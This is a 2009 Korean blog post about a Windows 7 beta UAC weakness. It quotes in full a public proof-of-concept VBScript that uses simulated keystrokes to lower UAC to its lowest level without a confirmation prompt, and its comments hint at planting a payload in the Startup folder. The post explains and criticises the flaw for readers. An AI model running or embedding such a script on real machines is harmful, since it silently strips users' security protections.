Microsoft MVP성태의 닷넷 이야기
Windows: 41. UAC 보안 취약 [링크 복사], [링크+제목 복사],
조회: 24319
글쓴 사람
정성태 (techsharer at outlook.com)
홈페이지
첨부 파일
 


Windows 7 - UAC 보안 취약


오늘 날짜의 "한국 마이크로소프트 - 오늘의 뉴스"에 재미있는 기사가 올라왔습니다.

[외신] 윈도우 7 베타버전 UAC기능, 보안 취약 논쟁 
; http://www.boannews.com/media/view.asp?idx=14088&kind=1

재미있더군요. 검색을 통해서 문제를 제기한 "Long Zheng"이라는 사람의 글을 쉽게 발견할 수 있었습니다.

Sacrificing security for usability: UAC security flaw in Windows 7 beta (with proof of concept code) 
; http://www.istartedsomething.com/20090130/uac-security-flaw-windows-7-beta-proof/

Malware can turn off UAC in Windows 7; “By design” says Microsoft
; http://www.withinwindows.com/2009/01/30/malware-can-turn-off-uac-in-windows-7-by-design-says-microsoft

실제로, 공개된 소스코드를 확인해 보면 정말 간단합니다.

'// 1337H4x Written by _____________ 
'//                    (12 year old)

Set WshShell = WScript.CreateObject("WScript.Shell")

'// Toggle Start menu
WshShell.SendKeys("^{ESC}")
WScript.Sleep(500)

'// Search for UAC applet
WshShell.SendKeys("change uac")
WScript.Sleep(2000)

'// Open the applet (assuming second result)
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{ENTER}")
WScript.Sleep(2000)

'// Set UAC level to lowest (assuming out-of-box Default setting)
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")

'// Save our changes
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{ENTER}")

'// TODO: Add code to handle installation of rebound
'// process to continue exploitation, i.e. place something
'// evil in Startup folder

'// Reboot the system
'// WshShell.Run "shutdown /r /f"

문제가 되는 것은, UAC 수준이 Windows 7에서 조정이 되었는데, 그 조정된 수준에서는 UAC 자체의 설정값을 변경하는 행위에서도 "UAC 확인" 창이 뜨지 않는다는 것입니다. 위의 프로그램을 통해서 실행되는 프로그램은 "User Account Control Settings" 대화창인데,

[그림 1: Windows 7 UAC 수준 변경 대화창]
windows7_uac_flaw_by_keyboard_1.png

UAC 모드를 변경하는 "OK" 버튼에서 "UAC 확인창"이 떠야만 하는데, 현재 Windows 7의 기본값인 "Default - Notify me only when programs try to make changes to my computer"에서는 UAC를 바꾸는 것 자체도 "Windows settings"를 변경하는 부분에 해당하기 때문에 UAC 확인창이 뜨지 않는 것입니다.

만약, UAC 설정값을 프로그래밍적으로 바꾸는 방법이 있었다면 위와 같이 SendKeys 방법을 굳이 통하지 않고 그 API를 부르는 것만으로도 UAC는 쉽게 바뀔 수 있다는 의미가 됩니다.

이 부분은, UAC 수준을 조절하는 과정에서 Microsoft 내부적으로 잘못 이해된 것이 아닌가 싶은데, 마이크로소프트 측에서는 이것을 "By Design"의 문제라고 하며 그다지 중요하게 생각하지 않고 있다는 것도 또한 문제시되고 있습니다. 제 생각에는 이런 정도의 결함은 Microsoft도 내부적인 설정 오류라고 보고 수정하면 될 것 같은데 ... 좀 의아스럽긴 합니다.

제 개인적인 생각으로도, Windows 7 정식 버전에서는 꼭 고쳐졌으면 좋겠군요.



[이 토픽에 대해서 여러분들과 의견을 공유하고 싶습니다. 틀리거나 미흡한 부분 또는 의문 사항이 있으시면 언제든 댓글 남겨주십시오.]







[최초 등록일: ]
[최종 수정일: 4/10/2022]

Creative Commons License
이 저작물은 크리에이티브 커먼즈 코리아 저작자표시-비영리-변경금지 2.0 대한민국 라이센스에 따라 이용하실 수 있습니다.
by SeongTae Jeong, mailto:techsharer at outlook.com

비밀번호

댓글 작성자
 



2009-02-15 10시09분
[vbdream] 최소한 UAC 변경 창은 별도의 데스크톱이라던가, 하여튼 일반적인 응용 프로그램과는 단절된 환경에서 이루어져야 하겠네요.
[guest]
2009-02-15 11시01분
위의 문제에서는 기본적으로 UAC 변경에 대한 것 자체에 UAC를 적용해야 하고요. ^^
UAC 대화창이 떠야 한다면 "vbdream" 님이 말씀하신 것처럼 별도의 데스크톱에 떠야 안전하겠지요.
kevin25

... 121  [122]  123  124  125  126  127  128  129  130  131  132  133  134  135  ...
NoWriterDateCnt.TitleFile(s)
10907정성태2/24/201622151.NET Framework: 554. 인터프리터 - 재귀적 하향 구문 분석 C# 예제파일 다운로드1
10906정성태2/24/201620097.NET Framework: 553. C# 관리 코드에서 IMetaDataDispenserEx, IMetaDataImport 관련 인터페이스를 얻는 방법파일 다운로드1
10905정성태2/24/201623740오류 유형: 321. Hyper-V The operation failed with error code '32791'.
10904정성태2/23/201620880.NET Framework: 552. 인터프리터 - 역폴란드 표기법을 이용한 식의 분석 - C# 예제파일 다운로드1
10903정성태2/22/201621612.NET Framework: 551. 인터프리터 어휘 분석 프로그램 - C# 예제파일 다운로드1
10902정성태2/22/201621628.NET Framework: 550. GetFunctionPointer 호출 시 System.InvalidProgramException 예외 발생
10901정성태2/20/201624368.NET Framework: 549. ContextBoundObject 상속 클래스와 System.Reflection.ReflectionTypeLoadException 예외 [4]파일 다운로드1
10900정성태2/19/201623326.NET Framework: 548. Linq는 결국 메서드 호출! [3]파일 다운로드1
10899정성태2/17/201624758개발 환경 구성: 282. kernel32.dll, kernel32legacy.dll, api-ms-win-core-sysinfo-l1-2-0.dll [1]
10898정성태2/17/201623154.NET Framework: 547. PerformanceCounter의 InstanceName 지정 시 주의 사항파일 다운로드1
10897정성태2/17/201622557디버깅 기술: 76. windbg 분석 사례 - 닷넷 프로파일러의 GC 콜백 부하
10896정성태2/17/201623185오류 유형: 320. FATAL: 28000: no pg_hba.conf entry for host "fe80::1970:8120:695:a41e%12"
10895정성태2/17/201622154.NET Framework: 546. System.AppDomain으로부터 .NET Profiler의 AppDomainID 구하는 방법 [1]
10894정성태2/17/201622572오류 유형: 319. Visual Studio에서 찾기는 성공하지만 해당 소스 코드 정보가 보이지 않는 경우
10893정성태2/16/201621439.NET Framework: 545. 닷넷 - 특정 클래스가 로드되었는지 여부를 알 수 있을까? - 두 번째 이야기
10892정성태2/16/201621973오류 유형: 318. 탐색기에서 폴더 생성/삭제 시 몇 초 동안 멈추는 현상
10891정성태2/16/201625315VC++: 95. 내 CPU가 MPX/SGX를 지원할까요? [1]
10890정성태2/15/201624704.NET Framework: 544. C# 5의 Caller Info를 .NET 4.5 미만의 응용 프로그램에 적용하는 방법 [5]
10889정성태2/14/201621451.NET Framework: 543. C++의 inline asm 사용을 .NET으로 포팅하는 방법 - 두 번째 이야기파일 다운로드1
10888정성태2/14/201619362.NET Framework: 542. 닷넷 - 특정 클래스가 로드되었는지 여부를 알 수 있을까?
10887정성태2/3/201620773VC++: 94. MPX(Memory Protection Extensions) 테스트파일 다운로드1
10886정성태2/3/201622191개발 환경 구성: 281. Intel MPX Runtime Driver 수동 설치
10885정성태2/2/201621290오류 유형: 317. Sybase.Data.AseClient.AseException: The command has timed out.
10884정성태1/11/201622217개발 환경 구성: 280. 닷넷에서 SAP Adaptive Server Enterprise 데이터베이스 사용파일 다운로드1
10882정성태1/6/201622289Windows: 113. 윈도우의 2179, 26143, 47001 TCP 포트 사용 [1]
10881정성태1/3/201623347오류 유형: 316. 윈도우 10 - 바탕/돋음 체가 사라져 한글이 깨지는 현상 [2]
... 121  [122]  123  124  125  126  127  128  129  130  131  132  133  134  135  ...